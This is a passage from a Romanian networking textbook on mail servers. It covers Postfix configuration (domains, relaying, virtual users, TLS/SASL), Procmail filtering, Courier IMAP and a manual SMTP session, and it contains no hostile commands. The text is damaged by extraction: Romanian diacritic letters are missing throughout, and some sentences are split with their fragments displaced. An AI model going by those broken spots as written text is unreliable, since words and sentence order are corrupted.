294 | R e e l e L o c a l e

Fiierul principal de configurare conine directive n forma nume = valoare i afecteaz funcionarea serviciului:
cuirass:~# tail -3 /etc/postfix/main.cf mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all

Fiierul master.cf definete funcionarea coordoneaz pornirea celorlalte procese Postfix:

daemon-ului master, procesul care

# service type private unpriv chroot wakeup maxproc command + args # (yes) (yes) (yes) (never) (100) # ========================================================================== smtp inet n smtpd [...] pickup fifo n 60 1 pickup cleanup unix n 0 cleanup

8.5.4.1 postconf
Alterarea fiierului /etc/postfix/main.cf poate fi realizat prin intermediul unui editor, dar se recomand folosirea comenzii postconf. Comanda postconf poate fi folosit pentru verificarea fiierului principal de configurare, pentru vizualizarea directivelor de configurare sau pentru modificarea unei directive. Directivele care nu sunt configurate n /etc/postfix/main.cf au o valoare implicit. Afiarea configuraiei actuale se realizeaz prin rularea fr argumente a comenzii postconf:
cuirass:~# postconf | head -3 2bounce_notice_recipient = postmaster access_map_reject_code = 554 address_verify_default_transport = $default_transport

Editarea unei directive se realizeaz prin intermediul argumentului -e:


cuirass:~# postconf mailbox_size_limit mailbox_size_limit = 0 cuirass:~# postconf -e mailbox_size_limit=30000000 cuirass:~# postconf mailbox_size_limit mailbox_size_limit = 30000000

8.5.5 Configurare de baz


Directivele importante din fiierul principal de configurare afecteaz parametri precum nume de domeniu, interfee i reele active, suport TLS i SASL, utilizatori virtuali i csue potale virtuale.

8.5.5.1 Configurare domenii


Directivele de baz pentru configurarea numelor de domeniu sunt myorigin i
mydestination. Directiva myorigin

specific domeniul surs pentru mesajele transmise de pe sistemul

local:
cuirass:~# postconf myorigin myorigin = /etc/mailname cuirass:~# cat /etc/mailname cuirass.localdomain

Spre exemplu, n cazul folosirii comenzii mailx, domeniul specificat de myorigin va fi ataat la numele utilizatorului care a folosit comanda. n cazul de mai sus, dac utilizatorul ana transmite un mesaj folosind mailx, expeditorul va fi ana@cuirass.localdomain. Directiva mydestination specific domeniile pentru care mesajele sunt pstrate local. Mesajele destinate utilizatorului test_user@test_domain.com vor fi livrate utilizatorului local

295 | E - m a i l

dac domeniul test_domain este prezent n cadrul directivei mydestination. Un server Postfix poate asigura gzduire virtual pentru mai multe domenii prin adugarea acestora n directiva mydestination. n listingul de mai jos se configureaz Postfix pentru a accepta mesaje i pentru domeniul test.cs.pub.ro:
test_user
cuirass:~# postconf mydestination mydestination = cuirass.localdomain, localhost.localdomain, , localhost cuirass:~# postconf -e 'mydestination = cuirass.localdomain, localhost.localdomain, , localhost, test.cs.pub.ro' cuirass:~# postconf mydestination mydestination = cuirass.localdomain, localhost.localdomain, , localhost, test.cs.pub.ro

Configuraia este complet dac exist i o mapare ntre numele de domeniu i adresa IP a sistemului pe care ruleaz Postfix. Aceasta se poate realiza printr-o configurare DNS sau, pentru testare local, prin adugarea unei mapri n fiierul /etc/hosts:
cuirass:~# cat /etc/hosts | grep test 172.16.68.128 test.cs.pub.ro cuirass:~# ping -c 1 test.cs.pub.ro PING test.cs.pub.ro (172.16.68.128) 56(84) bytes of data. 64 bytes from test.cs.pub.ro (172.16.68.128): icmp_seq=1 ttl=64 time=1.20 ms

n aceast configuraie, mesajele livrate ctre ana@localhost, ana@localhost.localdomain, ana@cuirass.localdomain, ana@test.cs.pub.ro vor ajunge n csua potal a utilizatorului ana.

8.5.5.2 Configurare interfee i porturi


Directiva inet_interfaces precizeaz interfeele pe care Postfix ascult conexiuni. Implicit, Postfix ascult conexiuni pe toate interfeele:
cuirass:~# postconf inet_interfaces inet_interfaces = all

Postfix poate fi configurat s asculte conexiuni doar pe o interfa sau pe cteva interfee:
cuirass:~# postconf inet_interfaces inet_interfaces = all cuirass:~# netstat -tlnp | grep 25 tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN cuirass:~# postconf -e 'inet_interfaces = 127.0.0.1, 172.16.68.128' cuirass:~# /etc/init.d/postfix restart Stopping Postfix Mail Transport Agent: postfix. Starting Postfix Mail Transport Agent: postfix. cuirass:~# netstat -tlnp | grep 25 tcp 0 0 172.16.68.128:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25

4926/master

5041/master

Configurarea unui port pe care Postfix s asculte conexiuni se realizeaz prin intermediul fiierului de configurare pentru daemon-ul master. Astfel, dac se dorete ca Postfix s asculte conexiuni i pe portul 2525, se adaug linia de mai jos la fiierul /etc/postfix/master.cf:
2525 inet n smtpd

Dup repornire, Postfix va asculta conexiuni i pe portul 2525:


cuirass:~# /etc/init.d/postfix restart Stopping Postfix Mail Transport Agent: postfix. Starting Postfix Mail Transport Agent: postfix. cuirass:~# netstat -tlnp | grep 25 tcp 0 0 0.0.0.0:25 0.0.0.0:* tcp 0 0 0.0.0.0:2525 0.0.0.0:*

LISTEN LISTEN

4926/master 4926/master

Pentru a nu aciona ca open relay, Postfix accept transmiterea de mesaje ctre domenii pentru care nu este destinatar doar de la staii din anumite reele. Precizarea acestor reele se realizeaz prin intermediul directivei mynetworks. Mesajele sosite de la staii din aceste reele vor fi livrate indiferent de destinaie. Cele sosite de la staii din alte reele vor fi livrate local dac serverul este responsabil de domeniul destinaie (domeniul este asociat directivei mynetworks) altfel vor fi respinse. n configuraia de mai jos:

296 | R e e l e L o c a l e
cuirass:~# postconf mynetworks mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128

Postfix va aciona ca relay doar pentru mesajele trimise de pe staia local. Mesaje sosite din reea nu vor fi livrate domeniilor de care serverul nu este responsabil. n listarea de mai jos se ncearc trimiterea unui mesaj ctre domeniul gmail.com prin conectare pe interfaa 172.16.68.128. Specificarea destinatarului eueaz cu precizarea mesajului Relay access denied
cuirass:~# telnet 172.16.68.128 25 Trying 172.16.68.128... Connected to 172.16.68.128. Escape character is '^]'. 220 cuirass.localdomain ESMTP Postfix (2.5.5) EHLO localhost [...] MAIL FROM: ana 250 2.1.0 Ok RCPT TO: razvand@gmail.com 554 5.7.1 <razvand@gmail.com>: Relay access denied

8.5.5.3 Configurare relaying


Dac se dorete configurarea de domenii ctre care mesajul s fie transmis indiferent de surs, se folosete directiva relay_domains. Directiva specific domeniile pentru care se va face relay, pe lng domeniile din mydestination. n exemplul de mai jos se specific domeniul gmail.com ca domeniu pentru care se face relay:
cuirass:~# postconf relay_domains relay_domains = $mydestination cuirass:~# postconf -e 'relay_domains = gmail.com'

Tabelul de mai jos explic modul n care se realizeaz transmiterea mesajelor n diverse situaii: Reea surs n Domeniu destinaie n Domeniu destinaie n Efect mynetworks mydestination relay_domains DA NU NU NU Nu conteaz DA NU NU Nu conteaz Nu conteaz DA NU Transmitere mesaj Livrare local Transmitere mesaj Mesaj respins

8.5.6 Configurare utilizatori virtuali i csue potale virtuale


Serverul Postfix ofer faciliti de gzduire virtual, adic poate fi configurat ca Mail Exchange pentru mai multe domenii. Configurarea se realizeaz prin intermediul directivei mydestination. n plus, Postfix permite configurarea de utilizatori virtuali. Astfel de utilizatori nu exist n sistem i mesajele ctre acetia sunt livrate fie unor utilizatori locali fie unor utilizatori de pe alt sistem. Pot fi configurate, de asemenea, alias-uri pentru utilizatorii locali astfel nct mesajele livrate unui utilizator local s fie redirectate altui utilizator sau unui alt sistem. n fine, Postfix permite configurarea de utilizatori virtuali care folosesc csue potale virtuale. Altfel spus, pot fi configurai utilizatori care nu au cont n sistem i li se pot asocia intrri specializate n sistemul local de fiiere reprezentnd csuele potale. Un utilizator virtual nu are cont n sistem i nici nu are un director home asociat. Are ns o intrare n sistemul local de fiiere reprezentnd csua potal i poate primi i transmite mesaje.

297 | E - m a i l

8.5.6.1 Configurare aliasuri


Configurarea cea mai simpl de alias-uri n Postfix se realizeaz prin interfaa compatibil Sendmail. Fiierul pentru configurarea de alias-uri este /etc/aliases. Dup editarea acestui fiier activarea alias-urilor se realizeaz prin intermediul comenzii newaliases. Fiierul are o structur de forma alias: adrese_finale. Adresele finale unde va fi livrat mesajul pot fi separate prin spaiu sau prin virgul. Dac se dorete ca mesajele trimise ctre elena s fie livrate utilizatorului florin i unei adrese externe se va aduga n fiierul /etc/aliases o linie de forma:
elena: florin extern@example.org

Dup care se va rula comanda newaliases:


# newaliases

Utilizatorul elena poate s nu existe n sistem. De multe ori un utilizator nu dorete folosirea contului de pe un sistem ci redirectarea mesajelor ctre un alt cont. Acest lucru se realizeaz cu ajutorul fiierului .forward din homeul utilizatorului. Astfel, dac un utilizator dorete redirectarea mesajelor din contul su ctre contul extern@example.org, va crea un fiier .forward n care va aduga acea adres:
$ cat .forward extern@example.org

Orice adres adugat ulterior va nsemna transmiterea mesajului i ctre acea adres.

8.5.6.2 Configurare utilizatori virtuali pentru domenii multiple


n cazul folosirii suportului de gzduire virtual, un server Postfix va servi mai multe domenii. De obicei se va dori ca mesajele transmise ctre fiecare domeniu s ajung altundeva. Astfel, dac un server Postfix servete domeniiile alfa.com i beta.com, o cerin poate fi ca mesajele ctre info@alfa.com s fie livrate utilizatorului local florin iar mesajele livrate ctre info@beta.com s fie livrate adresei extern@example.org. Interfaa de alias-uri Sendmail nu permite ca utilizatorul virtual/alias-ul s conin i un nume de domeniu. Astfel, nu se poate face deosebirea ntre utilizatorul info@beta.com i info@alfa.com. Pentru aceasta se folosesc directive specializate Postfix pentru domenii virtuale. Directiva virtual_alias_domains specific domeniile virtuale pe care le servete Postfix. Domeniile precizate aici nu trebuie s se regseasc n cadrul directivei mydestination:
cuirass:~# postconf -e 'virtual_alias_domains = alfa.com, beta.com'

va virtual_alias_maps:

Fiierul

care

conine

alias-urile

este

precizat

prin

intermediul

directivei

cuirass:~# postconf -e 'virtual_alias_maps = hash:/etc/postfix/virtual_alias'

Intrrile n fiierul de alias-uri sunt n forma alias destinaie:


cuirass:~# cat /etc/postfix/virtual_alias info@alfa.com elena info@beta.com florin contact@alfa.com extern@example.org

n configuraia de mai sus, mesajele destinate ctre info@alfa.com vor fi livrate utilizatorului local elena, iar cele destinate info@beta.com utilizatorului local florin. De asemenea, mesajele destinate contact@alfa.com vor fi livrate contului extern@example.org.

298 | R e e l e L o c a l e

Dup completarea fiierului de alias-uri, activarea se realizeaz prin intermediul comenzii postmap:
cuirass:~# postmap /etc/postfix/virtual_alias

Dac utilizatorii elena i florin doresc ca adresele surs pentru mesajele trimise s fie info@alfa.com, respectiv info@beta.com se folosete directiva canonical_maps. Se pot folosi directivele sender_canonical_maps, respectiv recipient_canonical_maps dac se sorete modificarea adreselor surs, respectiv destinaie:
cuirass:~# postconf -e 'sender_canonical_maps = hash:/etc/postfix/canonical' cuirass:~# cat /etc/postfix/canonical ana info@alfa.com bogdan info@beta.com cuirass:~# postconf -e 'local_header_rewrite_clients = permit_mynetworks, permit_sasl_authenticated' cuirass:~# postmap /etc/postfix/canonical

Directiva local_header_rewrite_clients selectez clienii pentru care se va realiza suprascrierea adresei surs. Aceast opiune este util pentru situaia n care se dorete substituia conturilor din sistem cu adrese de forma Nume.Prenume.

8.5.6.3 Configurare csue potale virtuale


Un server de e-mail cu foarte muli utilizatori ar necesita existena unui numr foarte mare de conturi. Dincolo de problemele de scalabilitate, gestiunea utilizatorilor devine greoaie. Soluia este folosirea de csue potale virtuale. Utilizatorii vor fi utilizatori virtuali iar csua potal va fi o intrare specializat n sistemul local de fiiere. Pentru precizarea domeniilor care folosesc csue potale virtuale se folosete directiva virtual_mailbox_domains:
cuirass:~# postconf -e 'virtual_mailbox_domains = gamma.com'

De obicei se va asocia un director pentru fiecare domeniu virtual. Spre exemplu /var/mail/vhosts/gamma.com pentru gamma.com. Directiva virtual_mailbox_base specific directorul de baz pentru domeniile virtuale:
cuirass:~# postconf -e 'virtual_mailbox_base = /var/mail/vhosts'

Ca pn acum, trebuie precizat fiierul ce va conine maprile ntre adresa de e-mail i intrarea n sistemul de fiiere reprezentnd csua potal virtual:
cuirass:~# postconf -e 'virtual_mailbox_maps = hash:/etc/postfix/virtual' cuirass:~# cat /etc/postfix/virtual info@gamma.com gamma.com/info/ cuirass:~# postmap /etc/postfix/virtual

n cadrul maprii, intrarea asociat csuei potale virtuale este relativ la virtual_maibox_base. n cazul n care csua potal este n format Maildir se folosete un caracter / (slash) la sfrit. Csua potal n format Maildir se creeaz cu ajutorul utilitarului maildirmake:
cuirass:~# mkdir -p /var/mail/vhosts/gamma.com cuirass:~# cd /var/mail/vhosts/gamma.com/ cuirass:/var/mail/vhosts/gamma.com# maildirmake info cuirass:/var/mail/vhosts/gamma.com# ls -l total 4 drwx------ 5 root mail 4096 2008-09-17 01:24 info

Dup cum se observ, deintorul csuei potale virtuale este root. Csua potal virtual va fi accesat i de serverul POP3/IMAP i trebuie configurat un utilizator comun att pentru livrare (Postfix) ct i pentru acces (POP3/IMAP):
cuirass:/var/mail# useradd -g mail vmail cuirass:/var/mail# id vmail uid=1005(vmail) gid=8(mail) groups=8(mail)

299 | E - m a i l
cuirass:/var/mail# chown -R vmail:mail /var/mail/vhosts

Acest utilizator trebuie precizat i n directorul principal de configurare:


cuirass:/var/mail# postconf -e 'virtual_uid_maps = static:1005' cuirass:/var/mail# postconf -e 'virtual_gid_maps = static:8' cuirass:/var/mail# postfix reload postfix/postfix-script: refreshing the Postfix mail system

info@gamma.com vor fi stocate /var/mail/vhosts/gamma.com/info/ n format Maildir. De aici vor

Mesajele transmise ctre

n csua potal putea fi citite prin

configurarea corespunztoare a unui server POP3/IMAP.

8.5.7 Configurare suport SASL i TLS

8.5.7.1 Suport TLS


Ultimele versiuni de pachete postfix (> 2.3) ofer suport implicit pentru TLS. Astfel, fiierul principal de configurare conine, n urma instalrii, directive specifice pentru suport TLS:
cuirass:/etc/courier# cat /etc/postfix/main.cf | grep tls smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

Certificatul folosit pentru autentificare este generat automat la instalare. Certificatul nu este semnat, ns, de o autoritate de certificare i va furniza un avertisment n momentul conectrii clientului.

8.5.7.2 Suport SASL


Pentru autentificare folosind SASL trebuie instalat o serie de pachete specifice:
cuirass:~# apt-get install libsasl2 sasl2-bin libsasl2-modules

n continuare trebuie activat autentificarea folosin SASL:


cuirass:~# postconf -e 'smtpd_sasl_local_domain =' cuirass:~# postconf -e 'smtpd_sasl_auth_enable = yes' cuirass:~# postconf -e 'smtpd_sasl_security_options = noanonymous' cuirass:~# postconf -e 'broken_sasl_auth_clients = yes' cuirass:~# postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination'

n plus, n fiierul /etc/postfix/sasl/smtpd.conf se specific metoda de autentificare:


cuirass:~# echo 'pwcheck_method: saslauthd' >> /etc/postfix/sasl/smtpd.conf cuirass:~# echo 'mech_list: plain login' >> /etc/postfix/sasl/smtpd.conf

n ultim faz trebuie activat daemonul saslauthd. ntruct Postfix ruleaz ntr-un jail chroot, saslauthd trebuie configurat corespunztor. Fiierul de configurare pentru saslauthd este /etc/default/saslauthd. Se creeaz directorul /var/spool/postfix/ var/run/saslauthd:
cuirass:~# mkdir -p /var/spool/postfix/var/run/saslauthd

i se configureaz corespunztor serviciul de autentificare prin modificarea liniei:


OPTIONS="-c -m var/run/saslauthd"

n
OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"

De obicei se va activa pornirea automat a saslauthd:


START=yes

300 | R e e l e L o c a l e

n absena unor mecanisme de verificare local a utilizatorului, se recomand folosirea mecanismului shadow care folosete fiierul local pentru autentificarea utilizatorilor (/etc/shadow):
MECHANISMS="shadow"

Se pornete daemonul de autentificare:


cuirass:~# /etc/init.d/saslauthd start Starting SASL Authentication Daemon: saslauthd.

8.5.7.2.1 Pachete noi (Debian Lenny)


n distribuiile recente, folosirea saslauthd este condiionat de reconfigurarea drepturilor i apartenenelor:
cuirass:~# dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd cuirass:~# adduser postfix sasl Adding user `postfix' to group `sasl' ... Adding user postfix to group sasl Done.

Ulterior se repornete daemonul saslauthd i Postfix:


cuirass:~# /etc/init.d/saslauthd restart Stopping SASL Authentication Daemon: saslauthd. Starting SASL Authentication Daemon: saslauthd. cuirass:~# /etc/init.d/postfix restart Stopping Postfix Mail Transport Agent: postfix. Starting Postfix Mail Transport Agent: postfix.

8.5.7.3 Verificare
Pentru verificarea suportului SASL i TLS se folosete comanda SMTP EHLO:
cuirass:~# telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 cuirass.localdomain ESMTP Postfix (2.5.5) EHLO localhost 250-cuirass.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN PLAIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN

Prezena liniilor STARTTLS i AUTH LOGIN PLAIN nseamn suport valid TLS i SASL pentru Postfix. Pentru folosirea acestui suport clienii de e-mail trebuie configurai corespunztor.

8.6 MDA
n general, serverele de e-mail despre care s-a discutat pn acum includ o component care se ocup de livrarea local a mesajelor. Exist, ns, situaii n care se dorete mai mult flexibilitate n livrarea mesajelor, de la aranjarea mesajelor n cutii potale speciale n funcie de proveniena lor, pn la activarea de filtre antispam. Spre exemplu, Sendmail nu ofer suport pentru csue potale n format Maildir. n aceast situaie trebuie folosit un MDA pentru livrarea mesajelor ctre csuele potale n format Maildir.

8.6.1 Procmail
Procmail formeaz, mpreun cu Maildrop, cele mai cunoscute dou MDA-uri. Procmail este, de obicei, instalat implicit pe distribuiile Debian-based. Altfel, se poate instala folosind apt-get:

301 | E - m a i l
# apt-get install procmail

8.6.1.1 Interaciunea cu Procmail


Dei Procmail poate rula ca aplicaie de sine stttoare, este invocat de obicei de MTA. Pentru a configura Postfix s foloseasc Procmail se adaug linia:
mailbox_command = /path/to/procmail -a $EXTENSION

Folosirea liniei de mai sus dezactiveaz configurarea oferit de home_mailbox.

8.6.1.2 Configurarea Procmail


Configurarea Procmail se face prin intermediul fiierului global de configurare
/etc/procmailrc (dac exist) i a unui fiier local de configurare: $HOME/.procmailrc.

n momentul recepionrii unui mesaj, Procmail va ncepe procesarea fiierului /etc/procmailrc i apoi a fiierului .procmailrc din home-ul utilizatorului. Un astfel de fiier este compus dintr-o parte de declaraii i o parte de reguli de filtrare (recipes). Dac se dorete transmiterea global a mesajelor ctre csue potale virtuale n format Maildir se configureaz corespunztor fiierul global de configurare:
cuirass:~# cat /etc/procmailrc DEFAULT=$HOME/Maildir/ MAILDIR=$HOME/Maildir LOGFILE=/usr/local/proc.log

Mai jos este prezentat un exemplu simplu de fiier local de configurare


bogdan@cuirass:~$ cat .procmailrc PATH=/bin:/usr/bin:/usr/local/bin SHELL=/bin/bash LOGFILE=$HOME/proclog DEFAULT=$HOME/Maildir/ MAILDIR=$HOME/Maildir :0: * ^Subject: .*test.* $MAILDIR/.Test/ # catch-all rule :0 $HOME/Maildir/

8.6.1.2.1 Directive de configurare


Directivele sunt definite n forma NUME=valoare. n exemplul de mai sus, se definesc directivele DEFAULT i MAILDIR pentru a preciza intrarea n sistemul de fiiere asociat csuei potale virtuale. Directiva LOGFILE precizeaz fiierul folosit pentru jurnalizare. n cazul n care nu se dorete stocarea jurnalelor se poate folosi /dev/null. Directiva PATH este util n cazul n care se folosesc comenzi de filtrare externe i, din considerente de eficien, nu se dorete folosirea cii complete ctre comand.

8.6.1.2.2 Reguli de filtrare


Orice regul ncepe cu caracterele :0 urmate de unul sau mai multe cmpuri de control i, opional, de specificarea unui fiier pentru lock utilizat pentru a preveni modificarea simultan a locaiei unde va fi salvat mesajul. Pe liniile urmtoare se pot specifica una sau mai multe condiii urmate de o linie ce reprezint aciunea aplicat dac toate condiiile anterioare sunt valabile. Formal, formatul este:
:0 [flags] [: [lock-file] ] zero or more conditions one action line

n exemplul de mai sus, mesajele al cror subiect conin irul test sunt stocate n directorul .Test. Directorul .Test corespunde unui director Test vizibil din clientul de e-mail

302 | R e e l e L o c a l e

n cazul folosirii unei csue potale n format Maildir. Ultima regul (catch-all), stocheaz mesajele n csua potal n format Maildir. Folosirea caracterului dou puncte n cazul primei reguli nseamn folosirea fiierului implicit de locking. Cele mai importante cmpuri de control sunt:
H - verificarea condiiilor se face n antetul mesajului (H = header); dac nu se specific nimic, acest cmp este configurat implicit; B - verificarea condiiilor se face n corpul mesajului; D - case sensitive (implicit nu se face distincie ntre literele mari i mici); c - se genereaz o copie a mesajului; w - se ateapt ca programul sau filtrul s se termine i verific valoarea de ieire a acestuia (codul de retur); dac nu s-a terminat cu succes, atunci filtrul nu este aplicat.

Condiiile sunt formate din expresii regulate la care se adaug civa operatori speciali cum ar fi ! pentru inversarea condiiei sau < respectiv > pentru a compara dimensiunea mesajului cu anumite limite. Aciunile ce pot fi aplicate sunt:
o intrare n sistemul local de fiiere unde va fi stocat mesajul; ! - trimite mesajul la adresa specificat; | - pornete un program specificat; { } - specific un bloc n interiorul cruia putem specifica alte reguli.

8.6.1.3 Cteva exemple


n continuare sunt prezentate cteva exemple de reguli de filtrare. Mai multe exemple sunt descrise n pagina de manual procmailex(5).
se salveaz n cutia potal mail/stiri/agora toate mesajele al cror cmp From conine expresia agnews@agora.ro:
:0 * From: .*agnews@agora.ro mail/stiri/agora

se trimit toate mesajele ctre rc@cs.pub.ro:


:0 ! rc@cs.pub.ro

se genereaz o copie a mesajului i se trimite ctre rc@cs.pub.ro; mesajul original va fi verificat n continuare cu regulile urmtoare:
:0c ! rc@cs.pub.ro

pentru toate mesajele cu subiectul [humor] se va genera o copie ce va fi trimis la rc@cs.pub.ro, iar copia local se va stoca ntr-o cutie potal definit, n fiierul /liste/humor:
:0 * ^Subject:.*[humor] { :0 c ! rc@cs.pub.ro :0 mail/liste/humor }

se filtreaz cu SpamAssassin toate mesajele cu dimensiunea mai mic de 256 kB:


:0fw * < 262144 | /usr/bin/spamassassin -P

303 | E - m a i l

8.7 Servere de IMAP


Cele mai rspndite servere de IMAP pentru platforme Unix sunt Courier IMAP Server, University of Washington imapd i Cyrus IMAP Server de la Carnegie Mellon University.

8.7.1 Courier IMAP Server


Courier IMAP Server este o component a serverului Courier. Nu ofer suport pentru formatul mbox ci doar pentru Maildir. Serverul implementeaz extensii ale acestui format, permind, spre exemplu, posibilitatea stabilirii unor limite (quota) sau structurarea ierarhic a mailbox-urilor. Serverul are trei avantaje importante:
permite definirea de csue potale virtuale; are numeroase module de autentificare; ofer posibilitatea limitrii numrului de conexiuni IMAP de la o anumit adres IP.

O alt caracteristic este posibilitatea partajrii csuelor potale ntre mai muli utilizatori. Courier IMAP Server a fost construit ntr-o manier modularizat pentru a permite un consum minim de resurse.

8.7.1.1 Instalare
Instalarea serverului se realizeaz prin intermediul instalrii pachetului courier-imap.
# apt-get install courier-imap

Singura ntrebare care se pune la instalarea pachetului este dac se dorete crearea unei structuri de directoare pentru configurare care permite configurarea folosind o interfa web. Instalarea pachetului i a dependinelor acestuia conduce la rularea unui server de IMAP (imapd) pe portul implicit (143) i a unui set de utilitare specifice. Un utilitar important este maildirmake care permite crearea unui director n format Maildir reprezentnd csua potal folosit pentru recepionarea mesajelor.

8.7.1.2 Configurare
Fiierele de configurare pentru serverul de IMAP se gsesc n /etc/courier/ i sunt imapd, pentru configurarea funcionalitii serverului, i authdaemonrc, pentru configurarea daemon-ului de autentificare. Directivele din fiierul imapd sunt n formatul NUME=valoare. Aici se pot schimba adresa pe care ascult serverul, portul, numrul de procese care pot fi deschise, numrul maxim de conexiuni, etc. De asemenea, aici se pot stabili alte valori pentru numele directoarelor implicite, prin alterarea directivelor respective. Astfel, dac se dorete schimbarea numelui directorului implicit de recepie a mesajelor (Maildir), se va nlocui linia
MAILDIRPATH=Maildir

cu
MAILDIRPATH=Mymail

Comanda makemaildir este utilizat pentru crearea unui director cu formatul utilizat de Courier (maildir). O opiune util n cadrul acestei comenzi este posibilitatea asocierii unei cote (quota). Mai jos sunt prezentate dou exemple de utilizare. Comanda:
bogdan@cuirass:~$ ls bogdan@cuirass:~$ maildirmake Maildir bogdan@cuirass:~$ ls Maildir

creeaz un director format Maildir n directorul de baz al utilizatorului; comanda:

304 | R e e l e L o c a l e
$ maildirmake -q 10000000S $HOME/Maildir

creeaz un director format Maildir n directorul de baz al utilizatorului cu o cot de 10 MB. Trebuie specificat faptul c numai anumite LDA-uri (Courier Maildrop i deliverquota) vor ine cont de cotele impuse ntr-o astfel de utilizare.

8.7.1.3 Utilizarea Courier IMAP cu Postfix


Serverul Postfix nu lucreaz implicit cu formatul Maildir. Pentru aceasta va trebui modificat corespunztor fiierul de configurare /etc/postfix/main.cf, prin alterarea directivei home_mailbox i ignorarea directivei mailbox_command:
cuirass:/etc/courier# postconf home_mailbox home_mailbox = cuirass:/etc/courier# postconf -e 'home_mailbox = Maildir/' cuirass:/etc/courier# postconf home_mailbox home_mailbox = Maildir/ cuirass:~# cat /etc/postfix/main.cf | grep command #mailbox_command = procmail -a "$EXTENSION"

Nu trebuie omis caracterul / de la sfritul fiierul Maildir. Anumite MTA-uri nu ofer suport pentru formatul Maildir. n aceast situaie livrarea mesajelor trebuie delegat unui MDA precum Procmail sau Maildrop.

8.7.1.4 Suport SSL


Suportul IMAP peste SSL n cazul Courier IMAP este asigurat prin instalarea pachetului courier-imap-ssl:
cuirass:~# apt-get install courier-imap-ssl

n cadrul instalrii pachetului se genereaz i un certificat pentru autentificare n /etc/courier/imapd.pem. Serverul IMAPS ascult conexiuni pe portul 993:
cuirass:/etc/courier# netstat -tlnp | grep 993 tcp6 0 0 :::993 :::* LISTEN 2173/couriertcpd

Fiierul /etc/courier/imapd-ssl este fiierul de configurare pentru serverul IMAPS.

8.7.1.5 Configurarea accesului la csue potale virtuale


Courier IMAP poate fi configurat pentru accesarea mesajelor din csue potale virtuale adic intrri specializate n sistemul de fiiere. Pentru aceasta trebuie configurat daemonul de autentificare authdaemond prin intermediul fiierului /etc/courier/authdaemonrc. n prima faz trebuie folosit modulul authuserdb care permite configurarea facil a utilizatorilor virtuali. Acest lucru se realizeaz prin alterarea directivei de configurare authmodulelist:
authmodulelist="authuserdb authpam"

Dup configurare trebuie repornit daemon-ul de autentificare cu ajutorul scriptului


invoke-rc.d:
cuirass:~# invoke-rc.d courier-authdaemon reload Stopping Courier authentication services: authdaemond. Starting Courier authentication services: authdaemond.

n continuare se adaug utilizatorul info n baza de date de utilizatori i se activeaz. Se presupune csua potal virtual descris n seciunea asociat Postfix [TODO] pentru contul info@gamma.com:
cuirass:~# userdb info set uid=1005 gid=8 home=/var/mail/vhosts/gamma.com/info mail=/var/mail/vhosts/gamma.com/info cuirass:~# userdbpw -md5 | userdb info set systempw

305 | E - m a i l
Password: Reenter password: cuirass:~# makeuserdb

n continuare clientul de e-mail se configureaz pentru citirea mesajelor de pe contul


info@gamma.com.

Pentru depistarea eventualelor erori de autentificare, se recomand activarea opiunii de jurnalizare a operaiei n fiierul de configurare /etc/courier/authdaemonrc:
DEBUG_LOGIN=1

8.8 Webmail
n mod frecvent, accesarea csuelor potale se realizeaz utiliznd diferii clieni IMAP/POP3 instalai pe sistemul clientului, cum sunt, spre exemplu, Mozilla Thunderbird, Outlook Express, Kmail, Evolution, Mutt, etc. n multe situaii se dorete posibilitatea accesrii rapide a csuei potale de pe diferite sisteme fr a instala sau configura pe acestea un client de e-mail. Pentru asemenea situaii exist aplicaii de accesare a csuelor potale prin interfaa web. Cele mai cunoscute, la momentul actual, sunt Horde, SquirrelMail i RoundCube.

8.9 Studii de caz


8.9.1 Comenzi SMTP. Transmiterea unui mesaj folosind SMTP
Se vor prezenta, n continuare, cele mai utilizate comenzi SMTP, fr a intra n detalii de sintax. Un mod simplu de a transmite un mesaj manual (fr utilizarea unui MUA) este conectarea la un server SMTP pe portul 25 utiliznd telnet, ca n exemplul ce urmeaz:
root@MPLS-2:/home/mpls2# telnet localhost 25 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. 220 localhost.localdomain ESMTP Postfix (Debian/GNU) EHLO test 250-localhost.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250 8BITMIME MAIL FROM: mpls2@MPLS-2.cs.pub.ro 250 Ok RCPT TO: razvand@gmail.com 250 Ok DATA 354 End data with <CR><LF>.<CR><LF> hello, un mesaj simplu. . 250 Ok: queued as 0BC1A211F64 QUIT 221 Bye Connection closed by foreign host.

HELO - comand utilizat pentru identificarea serverului i a clientului SMTP. Clientul va iniia sesiunea printr-o astfel de comand n care i anun numele complet (FQDN - Fully Qualified Domain Name). Dac serverul accept sesiunea, va rspunde cu codul 250 urmat de numele su. MAIL FROM - este prima din comenzile utilizate pentru trimiterea efectiv a mesajului i are ca rol specificarea identitii autorului mesajului. Dac rspunsul serverului este OK (250) nu nseamn ca mesajul va fi neaprat livrat, deoarece, n funcie de alte comenzi, se poate ntoarce un cod de eroare. RCPT TO - permite specificarea destinatarului mesajului. Dac serverul recunoate utilizatorul, atunci se va rspunde cu 250 OK; astfel se va returna un cod de eroare

306 | R e e l e L o c a l e

